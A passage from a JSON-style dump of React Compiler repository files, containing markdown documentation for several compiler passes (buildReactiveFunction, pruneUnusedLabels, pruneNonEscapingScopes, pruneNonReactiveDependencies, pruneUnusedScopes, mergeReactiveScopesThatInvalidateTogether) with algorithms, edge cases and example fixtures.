ReactiveScopeDependency\n```typescript\ntype ReactiveScopeDependency = {\n  identifier: Identifier;        // Root identifier\n  reactive: boolean;             // Whether the value is reactive\n  path: DependencyPathEntry[];   // Chain of property accesses\n}\n```\n\n### DependencyPathEntry\n```typescript\ntype DependencyPathEntry = {\n  property: PropertyLiteral;  // Property name\n  optional: boolean;          // Is this `?.` access?\n}\n```\n\n### DependencyCollectionContext\nMaintains:\n- `#declarations`: Map of DeclarationId to {id, scope} recording where each value was declared\n- `#reassignments`: Map of Identifier to latest assignment info\n- `#scopes`: Stack of currently active ReactiveScopes\n- `#dependencies`: Stack of dependency arrays (one per active scope)\n- `#temporaries`: Sidemap for resolving property loads\n\n### ReactiveScopeDependencyTreeHIR\nA tree structure for efficient dependency deduplication that stores hoistable objects, tracks access types, and computes minimal dependencies.\n\n## Edge Cases\n\n### Values Used Outside Declaring Scope\nIf a temporary is used outside its declaring scope, it cannot be tracked in the sidemap because reordering the read would be invalid.\n\n### Ref.current Access\nAccessing `ref.current` is treated specially - the dependency is truncated to just `ref`.\n\n### Optional Chains\nOptional chains like `a?.b?.c` produce different dependency paths than `a.b.c`. The pass distinguishes them and may merge optional loads into unconditional ones when control flow proves the object is non-null.\n\n### Inner Functions\nDependencies from inner functions are collected recursively but with special handling for context variables.\n\n### Phi Nodes\nWhen a value comes from multiple control flow paths, optional chain dependencies from phi operands are also visited.\n\n## TODOs\n1. Line 374-375: `// TODO(mofeiZ): understand optional chaining` - More documentation needed for optional chain handling\n\n## Example\n\n### Fixture: `reactive-control-dependency-if.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  let x;\n  if (props.cond) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n  return [x];\n}\n```\n\n**Before PropagateScopeDependenciesHIR:**\n```\nScope scope @0 [12:15] dependencies=[] declarations=[] reassignments=[] block=bb9\n```\n\n**After PropagateScopeDependenciesHIR:**\n```\nScope scope @0 [12:15] dependencies=[x$24:TPrimitive] declarations=[$26_@0] reassignments=[] block=bb9\n```\n\nThe pass identified that:\n- The scope at `[x]` depends on `x$24` (the phi node result from the if/else branches)\n- Even though `x` is assigned to constants (1 or 2), its value depends on the reactive control flow condition `props.cond`\n- The scope declares `$26_@0` (the array output)\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/21-buildReactiveFunction.md",
    "content": "# buildReactiveFunction\n\n## File\n`src/ReactiveScopes/BuildReactiveFunction.ts`\n\n## Purpose\nThe `buildReactiveFunction` pass converts the compiler's HIR (High-level Intermediate Representation) from a **Control Flow Graph (CFG)** representation to a **tree-based ReactiveFunction** representation that is closer to an AST. This is a critical transformation in the React Compiler pipeline that:\n\n1. **Restores control flow constructs** - Reconstructs `if`, `while`, `for`, `switch`, and other control flow statements from the CFG's basic blocks and terminals\n2. **Eliminates phi nodes** - Replaces SSA phi nodes with compound value expressions (ternaries, logical expressions, sequence expressions)\n3. **Handles labeled break/continue** - Tracks control flow targets to emit explicit labeled `break` and `continue` statements when needed\n4. **Preserves reactive scope information** - Scope terminals are converted to `ReactiveScopeBlock` nodes in the tree\n\n## Input Invariants\n- HIR is in SSA form (variables have been renamed with unique identifiers)\n- Basic blocks are connected (valid predecessor/successor relationships)\n- Each block ends with a valid terminal\n- Phi nodes exist at merge points for values from different control flow paths\n- Reactive scopes have been constructed (`scope` terminals exist)\n- Scope dependencies are computed (`PropagateScopeDependenciesHIR` has run)\n\n## Output Guarantees\n- **Tree structure** - The output is a `ReactiveFunction` with a `body: ReactiveBlock` containing a tree of `ReactiveStatement` nodes\n- **No CFG structure** - Basic blocks are eliminated; control flow is represented through nested reactive terminals\n- **No phi nodes** - Value merges are represented as `ConditionalExpression`, `LogicalExpression`, or `SequenceExpression` values\n- **Labels emitted for all control flow** - Every terminal that can be a break/continue target has a label; unnecessary labels are removed by subsequent `PruneUnusedLabels` pass\n- **Each block emitted exactly once** - A block cannot be generated twice\n- **Scope blocks preserved** - `scope` terminals become `ReactiveScopeBlock` nodes\n\n## Algorithm\n\n### Core Classes\n\n1. **`Driver`** - Traverses blocks and emits ReactiveBlock arrays\n2. **`Context`** - Tracks state:\n   - `emitted: Set<BlockId>` - Which blocks have been generated\n   - `#scheduled: Set<BlockId>` - Blocks that will be emitted by parent constructs\n   - `#controlFlowStack: Array<ControlFlowTarget>` - Stack of active break/continue targets\n   - `scopeFallthroughs: Set<BlockId>` - Fallthroughs for scope blocks\n\n### Traversal Strategy\n\n1. Start at the entry block and call `traverseBlock(entryBlock)`\n2. For each block:\n   - Emit all instructions as `ReactiveInstructionStatement`\n   - Process the terminal based on its kind\n\n### Terminal Processing\n\n**Simple Terminals:**\n- `return`, `throw` - Emit directly as `ReactiveTerminal`\n- `unreachable` - No-op\n\n**Control Flow Terminals:**\n- `if` - Schedule fallthrough, recursively traverse consequent/alternate, emit `ReactiveIfTerminal`\n- `while`, `do-while`, `for`, `for-of`, `for-in` - Use `scheduleLoop()` which tracks continue targets\n- `switch` - Process cases in reverse order\n- `label` - Schedule fallthrough, traverse inner block\n\n**Value Terminals (expressions that produce values):**\n- `ternary`, `logical`, `optional`, `sequence` - Produce `ReactiveValue` compound expressions\n\n**Break/Continue:**\n- `goto` with `GotoVariant.Break` - Determine if break is implicit, unlabeled, or labeled\n- `goto` with `GotoVariant.Continue` - Determine continue type\n\n**Scope Terminals:**\n- `scope`, `pruned-scope` - Schedule fallthrough, traverse inner block, emit as `ReactiveScopeBlock`\n\n## Key Data Structures\n\n### ReactiveFunction\n```typescript\ntype ReactiveFunction = {\n  loc: SourceLocation;\n  id: ValidIdentifierName | null;\n  params: Array<Place | SpreadPattern>;\n  generator: boolean;\n  async: boolean;\n  body: ReactiveBlock;\n  env: Environment;\n  directives: Array<string>;\n};\n```\n\n### ReactiveBlock\n```typescript\ntype ReactiveBlock = Array<ReactiveStatement>;\n```\n\n### ReactiveStatement\n```typescript\ntype ReactiveStatement =\n  | ReactiveInstructionStatement   // {kind: 'instruction', instruction}\n  | ReactiveTerminalStatement      // {kind: 'terminal', terminal, label}\n  | ReactiveScopeBlock             // {kind: 'scope', scope, instructions}\n  | PrunedReactiveScopeBlock;      // {kind: 'pruned-scope', ...}\n```\n\n### ReactiveValue (for compound expressions)\n```typescript\ntype ReactiveValue =\n  | InstructionValue               // Regular instruction values\n  | ReactiveLogicalValue           // a && b, a || b, a ?? b\n  | ReactiveSequenceValue          // (a, b, c)\n  | ReactiveTernaryValue           // a ? b : c\n  | ReactiveOptionalCallValue;     // a?.b()\n```\n\n### ControlFlowTarget\n```typescript\ntype ControlFlowTarget =\n  | {type: 'if'; block: BlockId; id: number}\n  | {type: 'switch'; block: BlockId; id: number}\n  | {type: 'case'; block: BlockId; id: number}\n  | {type: 'loop'; block: BlockId; continueBlock: BlockId; ...};\n```\n\n## Edge Cases\n\n### Nested Control Flow\nThe scheduling mechanism handles arbitrarily nested control flow by pushing/popping from the control flow stack.\n\n### Value Blocks with Complex Expressions\n`SequenceExpression` handles cases where value blocks contain multiple instructions.\n\n### Scope Fallthroughs\nBreaks to scope fallthroughs are treated as implicit (no explicit break needed).\n\n### Catch Handlers\nScheduled specially via `scheduleCatchHandler()` to prevent re-emission.\n\n### Unreachable Blocks\nThe `reachable()` check prevents emitting unreachable blocks.\n\n## TODOs\nThe code contains several `CompilerError.throwTodo()` calls for unsupported patterns:\n1. Optional chaining test blocks must end in `branch`\n2. Logical expression test blocks must end in `branch`\n3. Support for value blocks within try/catch statements\n4. Support for labeled statements combined with value blocks\n\n## Example\n\n### Fixture: `ternary-expression.js`\n\n**Input:**\n```javascript\nfunction ternary(props) {\n  const a = props.a && props.b ? props.c || props.d : (props.e ?? props.f);\n  const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;\n  return a ? b : null;\n}\n```\n\n**HIR (CFG with many basic blocks):**\nThe HIR contains 33 basic blocks with `Ternary`, `Logical`, `Branch`, and `Goto` terminals, plus phi nodes at merge points.\n\n**ReactiveFunction Output (Tree):**\n```\nfunction ternary(props$62{reactive}) {\n  [1] $84 = Ternary\n    Sequence\n        [2] $66 = Logical\n          Sequence [...]\n          && Sequence [...]\n    ?\n      Sequence [...]  // props.c || props.d\n    :\n      Sequence [...]  // props.e ?? props.f\n  [40] StoreLocal a$99 = $98\n  ...\n  [82] return $145\n}\n```\n\nThe transformation eliminates:\n- 33 basic blocks reduced to a single tree\n- Phi nodes replaced with nested `Ternary` and `Logical` value expressions\n- CFG edges replaced with tree nesting\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/22-pruneUnusedLabels.md",
    "content": "# pruneUnusedLabels\n\n## File\n`src/ReactiveScopes/PruneUnusedLabels.ts`\n\n## Purpose\nThe `pruneUnusedLabels` pass optimizes control flow by:\n\n1. **Flattening labeled terminals** where the label is not reachable via a `break` or `continue` statement\n2. **Marking labels as implicit** for terminals where the label exists but is never targeted\n\nThis pass removes unnecessary labeled blocks that were introduced during compilation but serve no control flow purpose in the final output. JavaScript labeled statements are only needed when there is a corresponding `break label` or `continue label` that targets them.\n\n## Input Invariants\n- The input is a `ReactiveFunction` (after conversion from HIR)\n- All `break` and `continue` terminals have:\n  - A `target` (BlockId) indicating which label they jump to\n  - A `targetKind` that is one of: `'implicit'`, `'labeled'`, or `'unlabeled'`\n- Each `ReactiveTerminalStatement` has an optional `label` field containing `id` and `implicit`\n- The pass runs after `assertWellFormedBreakTargets` which validates break/continue targets\n\n## Output Guarantees\n- Labeled terminals where the label is unreachable are flattened into their parent block\n- When flattening, trailing unlabeled `break` statements (that would just fall through) are removed\n- Labels that exist but are never targeted have their `implicit` flag set to `true`\n- Control flow semantics are preserved - only structurally unnecessary labels are removed\n\n## Algorithm\n\nThe pass uses a two-phase approach with a single traversal:\n\n**Phase 1: Collect reachable labels**\n```typescript\nif ((terminal.kind === 'break' || terminal.kind === 'continue') &&\n    terminal.targetKind === 'labeled') {\n  state.add(terminal.target);  // Mark this label as reachable\n}\n```\n\n**Phase 2: Transform terminals**\n```typescript\nconst isReachableLabel = stmt.label !== null && state.has(stmt.label.id);\n\nif (stmt.terminal.kind === 'label' && !isReachableLabel) {\n  // Flatten: extract block contents, removing trailing unlabeled break\n  const block = [...stmt.terminal.block];\n  const last = block.at(-1);\n  if (last?.kind === 'terminal' && last.terminal.kind === 'break' &&\n      last.terminal.target === null) {\n    block.pop();  // Remove trailing break\n  }\n  return {kind: 'replace-many', value: block};\n} else {\n  if (!isReachableLabel && stmt.label != null) {\n    stmt.label.implicit = true;  // Mark as implicit\n  }\n  return {kind: 'keep'};\n}\n```\n\n## Edge Cases\n\n### Trailing Break Removal\nWhen flattening a labeled block, if the last statement is an unlabeled break (`target === null`), it is removed since it would just fall through anyway.\n\n### Implicit vs Labeled Breaks\nOnly breaks with `targetKind === 'labeled'` count toward label reachability. Implicit breaks (fallthrough) and unlabeled breaks don't make a label \"used\".\n\n### Continue Statements\nBoth `break` and `continue` with labeled targets mark the label as reachable.\n\n### Non-Label Terminals with Labels\nOther terminal types (like `if`, `while`, `for`) can also have labels. If unreachable, these labels are marked implicit but the terminal is not flattened.\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `unconditional-break-label.js`\n\n**Input:**\n```javascript\nfunction foo(a) {\n  let x = 0;\n  bar: {\n    x = 1;\n    break bar;\n  }\n  return a + x;\n}\n```\n\n**Output (after full compilation):**\n```javascript\nfunction foo(a) {\n  return a + 1;\n}\n```\n\nThe labeled block `bar: { ... }` is removed because after the pass runs, constant propagation and dead code elimination further simplify the code.\n\n### Fixture: `conditional-break-labeled.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  const a = [];\n  a.push(props.a);\n  label: {\n    if (props.b) {\n      break label;\n    }\n    a.push(props.c);\n  }\n  a.push(props.d);\n  return a;\n}\n```\n\n**Output:**\n```javascript\nfunction Component(props) {\n  const $ = _c(5);\n  let a;\n  if ($[0] !== props.a || $[1] !== props.b ||\n      $[2] !== props.c || $[3] !== props.d) {\n    a = [];\n    a.push(props.a);\n    bb0: {\n      if (props.b) {\n        break bb0;\n      }\n      a.push(props.c);\n    }\n    a.push(props.d);\n    // ... cache updates\n  } else {\n    a = $[4];\n  }\n  return a;\n}\n```\n\nThe labeled block `bb0: { ... }` is preserved because the `break bb0` inside the conditional targets this label.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/23-pruneNonEscapingScopes.md",
    "content": "# pruneNonEscapingScopes\n\n## File\n`src/ReactiveScopes/PruneNonEscapingScopes.ts`\n\n## Purpose\nThis pass prunes (removes) reactive scopes whose outputs do not \"escape\" the component and therefore do not need to be memoized. A value \"escapes\" in two ways:\n\n1. **Returned from the function** - The value is directly returned or transitively aliased by a return value\n2. **Passed to a hook** - Any value passed as an argument to a hook may be stored by React internally (e.g., the closure passed to `useEffect`)\n\nThe key insight is that values which never escape the component boundary can be safely recreated on each render without affecting the behavior of consumers.\n\n## Input Invariants\n- The input is a `ReactiveFunction` after scope blocks have been identified\n- Reactive scopes have been assigned to instructions\n- The pass runs after `BuildReactiveFunction` and `PruneUnusedLabels`, before `PruneNonReactiveDependencies`\n\n## Output Guarantees\n- **Scopes with non-escaping outputs are removed** - Their instructions are inlined back into the parent scope/function body\n- **Scopes with escaping outputs are retained** - Values that escape via return or hook arguments remain memoized\n- **Transitive dependencies of escaping scopes are preserved** - If an escaping scope depends on a non-escaping value, that value's scope is also retained to prevent unnecessary invalidation\n- **`FinishMemoize` instructions are marked `pruned=true`** - When a scope is pruned, the associated memoization instructions are flagged\n\n## Algorithm\n\n### Phase 1: Build the Dependency Graph\nUsing `CollectDependenciesVisitor`, build:\n- **Identifier nodes** - Each node tracks memoization level, dependencies, scopes, and whether ultimately memoized\n- **Scope nodes** - Each scope tracks its dependencies\n- **Escaping values** - Identifiers that escape via return or hook arguments\n\n### Phase 2: Classify Memoization Levels\nEach instruction value is classified:\n- `Memoized`: Arrays, objects, function calls, `new` expressions - always potentially aliasing\n- `Conditional`: Conditional/logical expressions, property loads - memoized only if dependencies are memoized\n- `Unmemoized`: JSX elements (when `memoizeJsxElements` is false), DeclareLocal\n- `Never`: Primitives, LoadGlobal, binary/unary expressions - can be cheaply compared\n\n### Phase 3: Compute Memoized Identifiers\n`computeMemoizedIdentifiers()` performs a graph traversal starting from escaping values:\n- For each escaping value, recursively visit its dependencies\n- Mark values and their scopes based on memoization level\n- When marking a scope, force-memoize all its dependencies\n\n### Phase 4: Prune Scopes\n`PruneScopesTransform` visits each scope block:\n- If any scope output is in the memoized set, keep the scope\n- If no outputs are memoized, replace the scope block with its inlined instructions\n\n## Edge Cases\n\n### Interleaved Mutations\n```javascript\nconst a = [props.a];  // independently memoizable, non-escaping\nconst b = [];\nconst c = {};\nc.a = a;              // c captures a, but c doesn't escape\nb.push(props.b);      // b escapes via return\nreturn b;\n```\nHere `a` does not directly escape, but it is a dependency of the scope containing `b`. The algorithm correctly identifies that `a`'s scope must be preserved.\n\n### Hook Arguments Escape\nValues passed to hooks are treated as escaping because hooks may store references internally.\n\n### JSX Special Handling\nJSX elements are marked as `Unmemoized` by default because React.memo() can handle dynamic memoization.\n\n### noAlias Functions\nIf a function signature indicates `noAlias === true`, its arguments are not treated as escaping.\n\n### Reassignments\nWhen a scope reassigns a variable, the scope is added as a dependency of that variable.\n\n## TODOs\nNone explicitly in the source file.\n\n## Example\n\n### Fixture: `escape-analysis-non-escaping-interleaved-allocating-dependency.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  const a = [props.a];\n\n  const b = [];\n  const c = {};\n  c.a = a;\n  b.push(props.b);\n\n  return b;\n}\n```\n\n**Output:**\n```javascript\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.a) {\n    t0 = [props.a];\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const a = t0;  // a is memoized even though it doesn't escape directly\n\n  let b;\n  if ($[2] !== a || $[3] !== props.b) {\n    b = [];\n    const c = {};      // c is NOT memoized - it doesn't escape\n    c.a = a;\n    b.push(props.b);\n    $[2] = a;\n    $[3] = props.b;\n    $[4] = b;\n  } else {\n    b = $[4];\n  }\n  return b;\n}\n```\n\nKey observations:\n- `a` is memoized because it's a dependency of the scope containing `b`\n- `c` is not separately memoized because it doesn't escape\n- `b` is memoized because it's returned\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/24-pruneNonReactiveDependencies.md",
    "content": "# pruneNonReactiveDependencies\n\n## File\n`src/ReactiveScopes/PruneNonReactiveDependencies.ts`\n\n## Purpose\nThis pass removes dependencies from reactive scopes that are guaranteed to be **non-reactive** (i.e., their values cannot change between renders). This optimization reduces unnecessary memoization invalidations by ensuring scopes only depend on values that can actually change.\n\nThe pass complements `PropagateScopeDependencies`, which infers dependencies without considering reactivity. This subsequent pruning step filters out dependencies that are semantically constant.\n\n## Input Invariants\n- The function has been converted to a ReactiveFunction structure\n- `InferReactivePlaces` has annotated places with `{reactive: true}` where values can change\n- Each `ReactiveScopeBlock` has a `scope.dependencies` set populated by `PropagateScopeDependenciesHIR`\n- Type inference has run, so identifiers have type information for `isStableType` checks\n\n## Output Guarantees\n- **Non-reactive dependencies removed**: All dependencies in `scope.dependencies` are reactive after this pass\n- **Scope outputs marked reactive if needed**: If a scope has any reactive dependencies remaining, all its outputs are marked reactive\n- **Stable types remain non-reactive through property loads**: When loading properties from stable types (like `useReducer` dispatch functions), the result is not added to the reactive set\n\n## Algorithm\n\n### Phase 1: Collect Reactive Identifiers\nThe `collectReactiveIdentifiers` helper builds the initial set of reactive identifiers by:\n1. Visiting all places in the ReactiveFunction\n2. Adding any place marked `{reactive: true}` to the set\n3. For pruned scopes, adding declarations that are not primitives and not stable ref types\n\n### Phase 2: Propagate Reactivity and Prune Dependencies\nThe main `Visitor` class traverses the ReactiveFunction and:\n\n1. **For Instructions** - Propagates reactivity through data flow:\n   - `LoadLocal`: If source is reactive, mark the lvalue as reactive\n   - `StoreLocal`: If source value is reactive, mark both the local variable and lvalue as reactive\n   - `Destructure`: If source is reactive, mark all pattern operands as reactive (except stable types)\n   - `PropertyLoad`: If object is reactive AND result is not a stable type, mark result as reactive\n   - `ComputedLoad`: If object OR property is reactive, mark result as reactive\n\n2. **For Scopes** - Prunes non-reactive dependencies and propagates outputs:\n   - Delete each dependency from `scope.dependencies` if its identifier is not in the reactive set\n   - If any dependencies remain after pruning, mark all scope outputs as reactive\n\n### Key Insight: Stable Types\nThe pass leverages `isStableType` to prevent reactivity from flowing through certain React-provided stable values:\n\n```typescript\nfunction isStableType(id: Identifier): boolean {\n  return (\n    isSetStateType(id) ||       // useState setter\n    isSetActionStateType(id) || // useActionState setter\n    isDispatcherType(id) ||     // useReducer dispatcher\n    isUseRefType(id) ||         // useRef result\n    isStartTransitionType(id) ||// useTransition startTransition\n    isSetOptimisticType(id)     // useOptimistic setter\n  );\n}\n```\n\n## Edge Cases\n\n### Unmemoized Values Spanning Hook Calls\nA value created before a hook call and mutated after cannot be memoized. However, if it's non-reactive, it still should not appear as a dependency of downstream scopes.\n\n### Stable Types from Reactive Containers\nWhen `useReducer` returns `[state, dispatch]`, `state` is reactive but `dispatch` is stable. The pass correctly handles this.\n\n### Pruned Scopes with Reactive Content\nThe `CollectReactiveIdentifiers` pass also examines pruned scopes and adds their non-primitive, non-stable-ref declarations to the reactive set.\n\n### Transitive Reactivity Through Scopes\nWhen a scope retains at least one reactive dependency, ALL its outputs become reactive.\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `unmemoized-nonreactive-dependency-is-pruned-as-dependency.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  const x = [];\n  useNoAlias();\n  mutate(x);\n\n  return <div>{x}</div>;\n}\n```\n\n**Before PruneNonReactiveDependencies:**\n```\nscope @2 dependencies=[x$15_@0:TObject<BuiltInArray>] declarations=[$23_@2]\n```\n\n**After PruneNonReactiveDependencies:**\n```\nscope @2 dependencies=[] declarations=[$23_@2]\n```\n\nThe dependency on `x` is removed because `x` is created locally and therefore non-reactive.\n\n### Fixture: `useReducer-returned-dispatcher-is-non-reactive.js`\n\n**Input:**\n```javascript\nfunction f() {\n  const [state, dispatch] = useReducer();\n\n  const onClick = () => {\n    dispatch();\n  };\n\n  return <div onClick={onClick} />;\n}\n```\n\n**Generated Code:**\n```javascript\nfunction f() {\n  const $ = _c(1);\n  const [, dispatch] = useReducer();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const onClick = () => {\n      dispatch();\n    };\n    t0 = <div onClick={onClick} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n```\n\nThe `onClick` function only captures `dispatch`, which is a stable type. Therefore, `onClick` is non-reactive, and the JSX element can be memoized with zero dependencies.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/25-pruneUnusedScopes.md",
    "content": "# pruneUnusedScopes\n\n## File\n`src/ReactiveScopes/PruneUnusedScopes.ts`\n\n## Purpose\nThis pass converts reactive scopes that have no meaningful outputs into \"pruned scopes\". A pruned scope is no longer memoized - its instructions are executed unconditionally on every render. This optimization removes unnecessary memoization overhead for scopes that don't produce values that need to be cached.\n\n## Input Invariants\n- The input is a `ReactiveFunction` that has already been transformed into reactive scope form\n- Scopes have been created and have `declarations`, `reassignments`, and potentially `earlyReturnValue` populated\n- The pass is called after:\n  - `pruneUnusedLabels` - cleans up unnecessary labels\n  - `pruneNonEscapingScopes` - removes scopes whose outputs don't escape\n  - `pruneNonReactiveDependencies` - removes non-reactive dependencies from scopes\n- Scopes may already be marked as pruned by earlier passes\n\n## Output Guarantees\nScopes that meet ALL of the following criteria are converted to `pruned-scope`:\n- No return statement within the scope\n- No reassignments (`scope.reassignments.size === 0`)\n- Either no declarations (`scope.declarations.size === 0`), OR all declarations \"bubbled up\" from inner scopes\n\nPruned scopes:\n- Keep their original scope metadata (for debugging/tracking)\n- Keep their instructions intact\n- Will be executed unconditionally during codegen (no memoization check)\n\n## Algorithm\n\nThe pass uses the visitor pattern with `ReactiveFunctionTransform`:\n\n1. **State Tracking**: A `State` object tracks whether a return statement was encountered:\n   ```typescript\n   type State = {\n     hasReturnStatement: boolean;\n   };\n   ```\n\n2. **Terminal Visitor** (`visitTerminal`): Checks if any terminal is a `return` statement\n\n3. **Scope Transform** (`transformScope`): For each scope:\n   - Creates a fresh state for this scope\n   - Recursively visits the scope's contents\n   - Checks pruning criteria:\n     - `!scopeState.hasReturnStatement` - no early return\n     - `scope.reassignments.size === 0` - no reassignments\n     - `scope.declarations.size === 0` OR `!hasOwnDeclaration(scopeBlock)` - no outputs\n\n4. **hasOwnDeclaration Helper**: Determines if a scope has \"own\" declarations vs declarations propagated from nested scopes\n\n## Edge Cases\n\n### Return Statements\nScopes containing return statements are preserved because early returns need memoization to avoid re-executing the return check on every render.\n\n### Bubbled-Up Declarations\nWhen nested scopes are flattened or merged, their declarations may be propagated to parent scopes. The `hasOwnDeclaration` check ensures that parent scopes with only inherited declarations can still be pruned.\n\n### Reassignments\nScopes with reassignments are kept because the reassignment represents a side effect that needs to be tracked for memoization.\n\n### Already-Pruned Scopes\nThe pass operates on `ReactiveScopeBlock` (kind: 'scope'), not `PrunedReactiveScopeBlock`. Scopes already pruned by earlier passes are not revisited.\n\n### Interaction with Subsequent Passes\nThe `MergeReactiveScopesThatInvalidateTogether` pass explicitly handles pruned scopes - it does not merge across them.\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `prune-scopes-whose-deps-invalidate-array.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  const x = [];\n  useHook();\n  x.push(props.value);\n  const y = [x];\n  return [y];\n}\n```\n\nWhat happens:\n- The scope for `x` cannot be memoized because `useHook()` is called inside it\n- `FlattenScopesWithHooksOrUseHIR` marks scope @0 as `pruned-scope`\n- `PruneUnusedScopes` doesn't change it further since it's already pruned\n\n**Output (no memoization for x):**\n```javascript\nfunction Component(props) {\n  const x = [];\n  useHook();\n  x.push(props.value);\n  const y = [x];\n  return [y];\n}\n```\n\n### Key Insight\n\nThe `pruneUnusedScopes` pass is part of a multi-pass pruning strategy:\n1. `FlattenScopesWithHooksOrUseHIR` - Prunes scopes that contain hook/use calls\n2. `pruneNonEscapingScopes` - Prunes scopes whose outputs don't escape\n3. `pruneNonReactiveDependencies` - Removes non-reactive dependencies\n4. **`pruneUnusedScopes`** - Prunes scopes with no remaining outputs\n\nThis pass acts as a cleanup for scopes that became \"empty\" after previous pruning passes removed their outputs.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/26-mergeReactiveScopesThatInvalidateTogether.md",
    "content": "# mergeReactiveScopesThatInvalidateTogether\n\n## File\n`src/ReactiveScopes/MergeReactiveScopesThatInvalidateTogether.ts`\n\n## Purpose\nThis pass is an optimization that reduces memoization overhead in the compiled output by merging reactive scopes that will always invalidate together. The pass operates on the ReactiveFunction representation and works in two main scenarios:\n\n1. **Consecutive Scopes**: When two scopes appear sequentially in the same reactive block with identical dependencies (or where the output of the first scope is the sole input to the second), they are merged into a single scope. This reduces the number of memo cache slots used and eliminates redundant dependency comparisons.\n\n2. **Nested Scopes**: When an inner scope has the same dependencies as its parent scope, the inner scope is flattened into the parent. Since PropagateScopeDependencies propagates dependencies upward, nested scopes can only have equal or fewer dependencies than their parents, never more. When they're equal, the inner scope always invalidates with the parent, making it safe and beneficial to flatten.\n\n## Input Invariants\n- The ReactiveFunction has already undergone scope dependency propagation (via `PropagateScopeDependencies`)\n- The function has been pruned of unused scopes (via `pruneNonReactiveDependencies` and `pruneUnusedScopes`)\n- Scopes have valid `dependencies`, `declarations`, `range`, and `reassignments` fields\n- The ReactiveFunction is in a valid structural state with properly formed blocks and instructions\n\n## Output Guarantees\n- **Fewer scopes**: Consecutive and nested scopes with identical dependencies are merged\n- **Valid scope ranges**: Merged scopes have their `range.end` updated to cover all merged instructions\n- **Updated declarations**: Scope declarations are updated to remove any that are no longer used after the merged scope\n- **Merged scope tracking**: The `scope.merged` set tracks which scope IDs were merged into each surviving scope\n- **Preserved semantics**: Only safe-to-memoize intermediate instructions are absorbed into merged scopes\n\n## Algorithm\n\nThe pass operates in multiple phases:\n\n### Phase 1: Find Last Usage\nA visitor (`FindLastUsageVisitor`) collects the last usage instruction ID for each declaration:\n\n```typescript\nclass FindLastUsageVisitor extends ReactiveFunctionVisitor<void> {\n  lastUsage: Map<DeclarationId, InstructionId> = new Map();\n\n  override visitPlace(id: InstructionId, place: Place, _state: void): void {\n    const previousUsage = this.lastUsage.get(place.identifier.declarationId);\n    const lastUsage =\n      previousUsage !== undefined\n        ? makeInstructionId(Math.max(previousUsage, id))\n        : id;\n    this.lastUsage.set(place.identifier.declarationId, lastUsage);\n  }\n}\n```\n\n### Phase 2: Transform (Nested Scope Flattening)\nThe `transformScope` method flattens nested scopes with identical dependencies:\n\n```typescript\noverride transformScope(\n  scopeBlock: ReactiveScopeBlock,\n  state: ReactiveScopeDependencies | null,\n): Transformed<ReactiveStatement> {\n  this.visitScope(scopeBlock, scopeBlock.scope.dependencies);\n  if (\n    state !== null &&\n    areEqualDependencies(state, scopeBlock.scope.dependencies)\n  ) {\n    return {kind: 'replace-many', value: scopeBlock.instructions};\n  } else {\n    return {kind: 'keep'};\n  }\n}\n```\n\n### Phase 3: Visit Block (Consecutive Scope Merging)\nWithin `visitBlock`, the pass:\n1. First traverses nested blocks recursively\n2. Iterates through instructions, tracking merge candidates\n3. Determines if consecutive scopes can merge based on:\n   - Identical dependencies, OR\n   - Output of first scope is input to second scope (with always-invalidating types)\n4. Collects intermediate lvalues and ensures they're only used by the next scope\n5. Merges eligible scopes by combining instructions and updating range/declarations\n\n### Key Merging Conditions (`canMergeScopes`):\n```typescript\nfunction canMergeScopes(\n  current: ReactiveScopeBlock,\n  next: ReactiveScopeBlock,\n  temporaries: Map<DeclarationId, DeclarationId>,\n): boolean {\n  // Don't merge scopes with reassignments\n  if (current.scope.reassignments.size !== 0 || next.scope.reassignments.size !== 0) {\n    return false;\n  }\n  // Merge scopes whose dependencies are identical\n  if (areEqualDependencies(current.scope.dependencies, next.scope.dependencies)) {\n    return true;\n  }\n  // Merge scopes where outputs of previous are inputs of next\n  // (with always-invalidating type check)\n  // ...\n}\n```\n\n### Always-Invalidating Types:\n```typescript\nexport function isAlwaysInvalidatingType(type: Type): boolean {\n  switch (type.kind) {\n    case 'Object': {\n      switch (type.shapeId) {\n        case BuiltInArrayId:\n        case BuiltInObjectId:\n        case BuiltInFunctionId:\n        case BuiltInJsxId: {\n          return true;\n        }\n      }\n      break;\n    }\n    case 'Function': {\n      return true;\n    }\n  }\n  return false;\n}\n```\n\n## Edge Cases\n\n### Terminals\nThe pass does not merge across terminals (control flow boundaries).\n\n### Pruned Scopes\nMerging stops at pruned scopes.\n\n### Reassignments\nScopes containing reassignments cannot be merged (side-effect ordering concerns).\n\n### Intermediate Reassignments\nNon-const StoreLocal instructions between scopes prevent merging.\n\n### Safe Intermediate Instructions\nOnly certain instruction types are allowed between merged scopes: `BinaryExpression`, `ComputedLoad`, `JSXText`, `LoadGlobal`, `LoadLocal`, `Primitive`, `PropertyLoad`, `TemplateLiteral`, `UnaryExpression`, and const `StoreLocal`.\n\n### Lvalue Usage\nIntermediate values must be last-used at or before the next scope to allow merging.\n\n### Non-Invalidating Outputs\nIf a scope's output may not change when inputs change (e.g., `foo(x) { return x < 10 }` returns same boolean for different x values), that scope cannot be a merge candidate for subsequent scopes.\n\n## TODOs\n```typescript\n/*\n * TODO LeaveSSA: use IdentifierId for more precise tracking\n * Using DeclarationId is necessary for compatible output but produces suboptimal results\n * in cases where 